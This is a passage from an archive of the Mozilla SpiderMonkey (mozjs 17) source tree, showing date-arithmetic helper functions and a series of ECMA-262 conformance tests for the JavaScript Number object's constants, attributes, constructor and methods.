); } function MonthFromTime( t ) { // i know i could use switch but i'd rather not until it's part of ECMA var day = DayWithinYear( t ); var leap = InLeapYear(t); if ( (0 <= day) && (day < 31) ) { return 0; } if ( (31 <= day) && (day < (59+leap)) ) { return 1; } if ( ((59+leap) <= day) && (day < (90+leap)) ) { return 2; } if ( ((90+leap) <= day) && (day < (120+leap)) ) { return 3; } if ( ((120+leap) <= day) && (day < (151+leap)) ) { return 4; } if ( ((151+leap) <= day) && (day < (181+leap)) ) { return 5; } if ( ((181+leap) <= day) && (day < (212+leap)) ) { return 6; } if ( ((212+leap) <= day) && (day < (243+leap)) ) { return 7; } if ( ((243+leap) <= day) && (day < (273+leap)) ) { return 8; } if ( ((273+leap) <= day) && (day < (304+leap)) ) { return 9; } if ( ((304+leap) <= day) && (day < (334+leap)) ) { return 10; } if ( ((334+leap) <= day) && (day < (365+leap)) ) { return 11; } else { return "ERROR: MonthFromTime("+t+") not known"; } } function DayWithinYear( t ) { return( Day(t) - DayFromYear(YearFromTime(t))); } function DateFromTime( t ) { var day = DayWithinYear(t); var month = MonthFromTime(t); if ( month == 0 ) { return ( day + 1 ); } if ( month == 1 ) { return ( day - 30 ); } if ( month == 2 ) { return ( day - 58 - InLeapYear(t) ); } if ( month == 3 ) { return ( day - 89 - InLeapYear(t)); } if ( month == 4 ) { return ( day - 119 - InLeapYear(t)); } if ( month == 5 ) { return ( day - 150- InLeapYear(t)); } if ( month == 6 ) { return ( day - 180- InLeapYear(t)); } if ( month == 7 ) { return ( day - 211- InLeapYear(t)); } if ( month == 8 ) { return ( day - 242- InLeapYear(t)); } if ( month == 9 ) { return ( day - 272- InLeapYear(t)); } if ( month == 10 ) { return ( day - 303- InLeapYear(t)); } if ( month == 11 ) { return ( day - 333- InLeapYear(t)); } return ("ERROR: DateFromTime("+t+") not known" ); } function WeekDay( t ) { var weekday = (Day(t)+4) % 7; return( weekday < 0 ? 7 + weekday : weekday ); } // missing daylight savings time adjustment function HourFromTime( t ) { var h = Math.floor( t / msPerHour ) % HoursPerDay; return ( (h<0) ? HoursPerDay + h : h ); } function MinFromTime( t ) { var min = Math.floor( t / msPerMinute ) % MinutesPerHour; return( ( min < 0 ) ? MinutesPerHour + min : min ); } function SecFromTime( t ) { var sec = Math.floor( t / msPerSecond ) % SecondsPerMinute; return ( (sec < 0 ) ? SecondsPerMinute + sec : sec ); } function msFromTime( t ) { var ms = t % msPerSecond; return ( (ms < 0 ) ? msPerSecond + ms : ms ); } function LocalTZA() { return ( TZ_DIFF * msPerHour ); } function UTC( t ) { return ( t - LocalTZA() - DaylightSavingTA(t - LocalTZA()) ); } function LocalTime( t ) { return ( t + LocalTZA() + DaylightSavingTA(t) ); } function DaylightSavingTA( t ) { t = t - LocalTZA(); var dst_start = GetDSTStart(t); var dst_end = GetDSTEnd(t); if ( t >= dst_start && t < dst_end ) return msPerHour; return 0; } function GetFirstSundayInMonth( t, m ) { var year = YearFromTime(t); var leap = InLeapYear(t); // month m 0..11 // april == 3 // march == 2 // set time to first day of month m var time = TimeFromYear(year); for (var i = 0; i < m; ++i) { time += TimeInMonth(i, leap); } for ( var first_sunday = time; WeekDay(first_sunday) > 0; first_sunday += msPerDay ) { ; } return first_sunday; } function GetLastSundayInMonth( t, m ) { var year = YearFromTime(t); var leap = InLeapYear(t); // month m 0..11 // april == 3 // march == 2 // first day of following month var time = TimeFromYear(year); for (var i = 0; i <= m; ++i) { time += TimeInMonth(i, leap); } // prev day == last day of month time -= msPerDay; for ( var last_sunday = time; WeekDay(last_sunday) > 0; last_sunday -= msPerDay ) { ; } return last_sunday; } /* 15.9.1.9 Daylight Saving Time Adjustment The implementation of ECMAScript should not try to determine whether the exact time was subject to daylight saving time, but just whether daylight saving time would have been in effect if the current daylight saving time algorithm had been used at the time. This avoids complications such as taking into account the years that the locale observed daylight saving time year round. */ /* US DST algorithm Before 2007, DST starts first Sunday in April at 2 AM and ends last Sunday in October at 2 AM Starting in 2007, DST starts second Sunday in March at 2 AM and ends first Sunday in November at 2 AM Note that different operating systems behave differently. Fully patched Windows XP uses the 2007 algorithm for all dates while fully patched Fedora Core 6 and RHEL 4 Linux use the algorithm in effect at the time. Since pre-2007 DST is a subset of 2007 DST rules, this only affects tests that occur in the period Mar-Apr and Oct-Nov where the two algorithms do not agree. */ function GetDSTStart( t ) { return (GetFirstSundayInMonth(t, 2) + 7*msPerDay + 2*msPerHour - LocalTZA()); } function GetDSTEnd( t ) { return (GetFirstSundayInMonth(t, 10) + 2*msPerHour - LocalTZA()); } function GetOldDSTStart( t ) { return (GetFirstSundayInMonth(t, 3) + 2*msPerHour - LocalTZA()); } function GetOldDSTEnd( t ) { return (GetLastSundayInMonth(t, 9) + 2*msPerHour - LocalTZA()); } function MakeTime( hour, min, sec, ms ) { if ( isNaN( hour ) || isNaN( min ) || isNaN( sec ) || isNaN( ms ) ) { return Number.NaN; } hour = ToInteger(hour); min = ToInteger( min); sec = ToInteger( sec); ms = ToInteger( ms ); return( (hour*msPerHour) + (min*msPerMinute) + (sec*msPerSecond) + ms ); } function MakeDay( year, month, date ) { if ( isNaN(year) || isNaN(month) || isNaN(date) ) { return Number.NaN; } year = ToInteger(year); month = ToInteger(month); date = ToInteger(date ); var sign = ( year < 1970 ) ? -1 : 1; var t = ( year < 1970 ) ? 1 : 0; var y = ( year < 1970 ) ? 1969 : 1970; var result5 = year + Math.floor( month/12 ); var result6 = month % 12; if ( year < 1970 ) { for ( y = 1969; y >= year; y += sign ) { t += sign * TimeInYear(y); } } else { for ( y = 1970 ; y < year; y += sign ) { t += sign * TimeInYear(y); } } var leap = InLeapYear( t ); for ( var m = 0; m < month; m++ ) { t += TimeInMonth( m, leap ); } if ( YearFromTime(t) != result5 ) { return Number.NaN; } if ( MonthFromTime(t) != result6 ) { return Number.NaN; } if ( DateFromTime(t) != 1 ) { return Number.NaN; } return ( (Day(t)) + date - 1 ); } function TimeInMonth( month, leap ) { // september april june november // jan 0 feb 1 mar 2 apr 3 may 4 june 5 jul 6 // aug 7 sep 8 oct 9 nov 10 dec 11 if ( month == 3 || month == 5 || month == 8 || month == 10 ) { return ( 30*msPerDay ); } // all the rest if ( month == 0 || month == 2 || month == 4 || month == 6 || month == 7 || month == 9 || month == 11 ) { return ( 31*msPerDay ); } // save february return ( (leap == 0) ? 28*msPerDay : 29*msPerDay ); } function MakeDate( day, time ) { if ( day == Number.POSITIVE_INFINITY || day == Number.NEGATIVE_INFINITY ) { return Number.NaN; } if ( time == Number.POSITIVE_INFINITY || time == Number.NEGATIVE_INFINITY ) { return Number.NaN; } return ( day * msPerDay ) + time; } function TimeClip( t ) { if ( isNaN( t ) ) { return ( Number.NaN ); } if ( Math.abs( t ) > 8.64e15 ) { return ( Number.NaN ); } return ( ToInteger( t ) ); } function ToInteger( t ) { t = Number( t ); if ( isNaN( t ) ){ return ( Number.NaN ); } if ( t == 0 || t == -0 || t == Number.POSITIVE_INFINITY || t == Number.NEGATIVE_INFINITY ) { return 0; } var sign = ( t < 0 ) ? -1 : 1; return ( sign * Math.floor( Math.abs( t ) ) ); } function Enumerate ( o ) { var p; for ( p in o ) { print( p +": " + o[p] ); } } /* these functions are useful for running tests manually in Rhino */ function GetContext() { return Packages.com.netscape.javascript.Context.getCurrentContext(); } function OptLevel( i ) { i = Number(i); var cx = GetContext(); cx.setOptimizationLevel(i); } /* end of Rhino functions */ mozjs17.0.0/js/src/tests/ecma/Number/0000775000175000017500000000000012106270663017303 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Number/15.7.3.1-2.js0000664000175000017500000000223012106270663020667 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.1-2.js ECMA Section: 15.7.3.1 Number.prototype Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Number.prototype Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var NUM_PROT = Number.prototype; Number.prototype = null; Number.prototype == NUM_PROT", true, eval("var NUM_PROT = Number.prototype; Number.prototype = null; Number.prototype == NUM_PROT") ); new TestCase( SECTION, "Number.prototype=0; Number.prototype", Number.prototype, eval("Number.prototype=0; Number.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.2-4.js0000664000175000017500000000210312106270663020671 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.2-4.js ECMA Section: 15.7.3.2 Number.MAX_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontEnum attribute of Number.MAX_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.2-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MAX_VALUE: DontEnum Attribute"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var string = ''; for ( prop in Number ) { string += ( prop == 'MAX_VALUE' ) ? prop : '' } string;", "", eval("var string = ''; for ( prop in Number ) { string += ( prop == 'MAX_VALUE' ) ? prop : '' } string;") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.4-1.js0000664000175000017500000000153712106270663020702 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.4-1.js ECMA Section: 15.7.3.4 Number.NaN Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the value of Number.NaN Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NaN"; writeHeaderToLog( SECTION + " "+ TITLE ); new TestCase(SECTION, "NaN", NaN, Number.NaN ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.5-1.js0000664000175000017500000000165012106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.5-1.js ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the value of Number.NEGATIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NEGATIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase(SECTION, "Number.NEGATIVE_INFINITY", -Infinity, Number.NEGATIVE_INFINITY ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.2-2.js0000664000175000017500000000215612106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.2-2.js ECMA Section: 15.7.3.2 Number.MAX_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Number.MAX_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MAX_VALUE: DontDelete Attribute"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete( Number.MAX_VALUE ); Number.MAX_VALUE", 1.7976931348623157e308, eval("delete( Number.MAX_VALUE );Number.MAX_VALUE") ); new TestCase( SECTION, "delete( Number.MAX_VALUE )", false, eval("delete( Number.MAX_VALUE )") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.3-2.js0000664000175000017500000000204412106270663020675 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.3-2.js ECMA Section: 15.7.4.3.1 Number.prototype.valueOf() Description: Returns this number value. The valueOf function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.3-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.valueOf()"); new TestCase(SECTION, "v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()", 3, eval("v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.5-3.js0000664000175000017500000000176212106270663020705 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.5-3.js ECMA Section: 15.7.3.5 Number.NEGATIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Number.NEGATIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.5-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NEGATIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "Number.NEGATIVE_INFINITY=0; Number.NEGATIVE_INFINITY", -Infinity, eval("Number.NEGATIVE_INFINITY=0; Number.NEGATIVE_INFINITY") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/shell.js0000664000175000017500000000000012106270663020736 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Number/15.7.4.1.js0000664000175000017500000000147312106270663020541 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.1.js ECMA Section: 15.7.4.1.1 Number.prototype.constructor Number.prototype.constructor is the built-in Number constructor. Description: Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.prototype.constructor"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "Number.prototype.constructor", Number, Number.prototype.constructor ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.1-1.js0000664000175000017500000000224512106270663020674 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.1-2.js ECMA Section: 15.7.3.1 Number.prototype Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Number.prototype Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.prototype"; writeHeaderToLog( SECTION +" "+ TITLE); new TestCase(SECTION, "var NUM_PROT = Number.prototype; delete( Number.prototype ); NUM_PROT == Number.prototype", true, eval("var NUM_PROT = Number.prototype; delete( Number.prototype ); NUM_PROT == Number.prototype") ); new TestCase(SECTION, "delete( Number.prototype )", false, eval("delete( Number.prototype )") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.2-1.js0000664000175000017500000000161412106270663020674 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.2-1.js ECMA Section: 15.7.3.2 Number.MAX_VALUE Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the value of MAX_VALUE Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.MAX_VALUE"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Number.MAX_VALUE", 1.7976931348623157e308, Number.MAX_VALUE ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.6-1.js0000664000175000017500000000165312106270663020703 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.6-1.js ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the value of Number.POSITIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.6-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.POSITIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "Number.POSITIVE_INFINITY", Infinity, Number.POSITIVE_INFINITY ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.1.js0000664000175000017500000000436612106270663020403 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.1.js ECMA Section: 15.7.1 The Number Constructor Called as a Function 15.7.1.1 15.7.1.2 Description: When Number is called as a function rather than as a constructor, it performs a type conversion. 15.7.1.1 Return a number value (not a Number object) computed by ToNumber( value ) 15.7.1.2 Number() returns 0. need to add more test cases. see the testcases for TypeConversion ToNumber. Author: christine@netscape.com Date: 29 september 1997 */ var SECTION = "15.7.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Number Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase(SECTION, "Number()", 0, Number() ); new TestCase(SECTION, "Number(void 0)", Number.NaN, Number(void 0) ); new TestCase(SECTION, "Number(null)", 0, Number(null) ); new TestCase(SECTION, "Number()", 0, Number() ); new TestCase(SECTION, "Number(new Number())", 0, Number( new Number() ) ); new TestCase(SECTION, "Number(0)", 0, Number(0) ); new TestCase(SECTION, "Number(1)", 1, Number(1) ); new TestCase(SECTION, "Number(-1)", -1, Number(-1) ); new TestCase(SECTION, "Number(NaN)", Number.NaN, Number( Number.NaN ) ); new TestCase(SECTION, "Number('string')", Number.NaN, Number( "string") ); new TestCase(SECTION, "Number(new String())", 0, Number( new String() ) ); new TestCase(SECTION, "Number('')", 0, Number( "" ) ); new TestCase(SECTION, "Number(Infinity)", Number.POSITIVE_INFINITY, Number("Infinity") ); new TestCase(SECTION, "Number(new MyObject(100))", 100, Number(new MyObject(100)) ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.4-4.js0000664000175000017500000000202312106270663020674 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.4-4.js ECMA Section: 15.7.3.4 Number.NaN Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontEnum attribute of Number.NaN Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.4-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.NaN"; writeHeaderToLog( SECTION + " " + TITLE); new TestCase( SECTION, "var string = ''; for ( prop in Number ) { string += ( prop == 'NaN' ) ? prop : '' } string;", "", eval("var string = ''; for ( prop in Number ) { string += ( prop == 'NaN' ) ? prop : '' } string;") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.6-4.js0000664000175000017500000000212712106270663020703 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.6-4.js ECMA Section: 15.7.3.6 Number.POSITIVE_INFINITY Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontEnum attribute of Number.POSITIVE_INFINITY Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.3.6-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Number.POSITIVE_INFINITY"; writeHeaderToLog( SECTION + " "+TITLE); new TestCase( SECTION, "var string = ''; for ( prop in Number ) { string += ( prop == 'POSITIVE_INFINITY' ) ? prop : '' } string;", "", eval("var string = ''; for ( prop in Number ) { string += ( prop == 'POSITIVE_INFINITY' ) ? prop : '' } string;") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.3-3-n.js0000664000175000017500000000313212106270663021130 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.3-3.js ECMA Section: 15.7.4.3.1 Number.prototype.valueOf() Description: Returns this number value. The valueOf function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.3-3-n"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.valueOf()"); // new TestCase("15.7.4.1", "v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()", "error", eval("v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()") ); DESCRIPTION = "v = Number.prototype.valueOf; o = new String('Infinity'); o.valueOf = v; o.valueOf()"; EXPECTED = "error"; new TestCase("15.7.4.1", "v = Number.prototype.valueOf; o = new String('Infinity'); o.valueOf = v; o.valueOf()", "error", eval("v = Number.prototype.valueOf; o = new String('Infinity'); o.valueOf = v; o.valueOf()") ); // new TestCase("15.7.4.1", "v = Number.prototype.valueOf; o = new Object(); o.valueOf = v; o.valueOf()", "error", eval("v = Number.prototype.valueOf; o = new Object(); o.valueOf = v; o.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.2-2-n.js0000664000175000017500000000350612106270663021133 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.2-2-n.js ECMA Section: 15.7.4.2.1 Number.prototype.toString() Description: If the radix is the number 10 or not supplied, then this number value is given as an argument to the ToString operator; the resulting string value is returned. If the radix is supplied and is an integer from 2 to 36, but not 10, the result is a string, the choice of which is implementation dependent. The toString function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.2-2-n"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.toString()"); DESCRIPTION = "o = new Object(); o.toString = Number.prototype.toString; o.toString()"; EXPECTED = "error"; new TestCase(SECTION, "o = new Object(); o.toString = Number.prototype.toString; o.toString()", "error", eval("o = new Object(); o.toString = Number.prototype.toString; o.toString()") ); // new TestCase(SECTION, "o = new String(); o.toString = Number.prototype.toString; o.toString()", "error", eval("o = new String(); o.toString = Number.prototype.toString; o.toString()") ); // new TestCase(SECTION, "o = 3; o.toString = Number.prototype.toString; o.toString()", "error", eval("o = 3; o.toString = Number.prototype.toString; o.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.3.1-3.js0000664000175000017500000000210012106270663020664 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.3.1-4.js ECMA Section: 15.7.3.1 Number.prototype Description: All value properties of the Number object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontEnum attribute of Number.prototype Author: christine@netscape.com Date: 16 september 1997 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.7.3.1-3"; var TITLE = "Number.prototype"; writeHeaderToLog( SECTION + " Number.prototype: DontEnum Attribute"); new TestCase( SECTION, "var string = ''; for ( prop in Number ) { string += ( prop == 'prototype' ) ? prop: '' } string;", "", eval("var string = ''; for ( prop in Number ) { string += ( prop == 'prototype' ) ? prop : '' } string;") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.4.2-4.js0000664000175000017500000000250412106270663020677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.4.2-4.js ECMA Section: 15.7.4.2.1 Number.prototype.toString() Description: If the radix is the number 10 or not supplied, then this number value is given as an argument to the ToString operator; the resulting string value is returned. If the radix is supplied and is an integer from 2 to 36, but not 10, the result is a string, the choice of which is implementation dependent. The toString function is not generic; it generates a runtime error if its this value is not a Number object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.7.4.2-4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Number.prototype.toString()"); new TestCase(SECTION, "o = 3; o.toString = Number.prototype.toString; o.toString()", "3", eval("o = 3; o.toString = Number.prototype.toString; o.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Number/15.7.2.js0000664000175000017500000002004212106270663020371 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.7.2.js ECMA Section: 15.7.2 The Number Constructor 15.7.2.1 15.7.2.2 Description: 15.7.2 When Number is called as part of a new expression, it is a constructor: it initializes the newly created object. 15.7.2.1 The [[Prototype]] property of the newly constructed object is set to othe original Number prototype object, the one that is the initial value of Number.prototype(0). The [[Class]] property is set to "Number". The [[Value]] property of the newly constructed object is set to ToNumber(value) 15.7.2.2 new Number(). same as in 15.7.2.1, except the [[Value]] property is set to +0. need to add more test cases. see the testcases for TypeConversion ToNumber. Author: christine@netscape.com Date: 29 september 1997 */ var SECTION = "15.7.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Number Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); // To verify that the object's prototype is the Number.prototype, check to see if the object's // constructor property is the same as Number.prototype.constructor. new TestCase(SECTION, "(new Number()).constructor", Number.prototype.constructor, (new Number()).constructor ); new TestCase(SECTION, "typeof (new Number())", "object", typeof (new Number()) ); new TestCase(SECTION, "(new Number()).valueOf()", 0, (new Number()).valueOf() ); new TestCase(SECTION, "NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(0)).constructor", Number.prototype.constructor, (new Number(0)).constructor ); new TestCase(SECTION, "typeof (new Number(0))", "object", typeof (new Number(0)) ); new TestCase(SECTION, "(new Number(0)).valueOf()", 0, (new Number(0)).valueOf() ); new TestCase(SECTION, "NUMB = new Number(0);NUMB.toString=Object.prototype.toString;NUMB.toString()", "[object Number]", eval("NUMB = new Number(0);NUMB.toString=Object.prototype.toString;NUMB.toString()") ); new TestCase(SECTION, "(new Number(1)).constructor", Number.prototype.constructor, (new Number(1)).constructor ); new TestCase(SECTION, "typeof (new Number(1))", "object", typeof (new Number(1)) ); new TestCase(SECTION, "(new 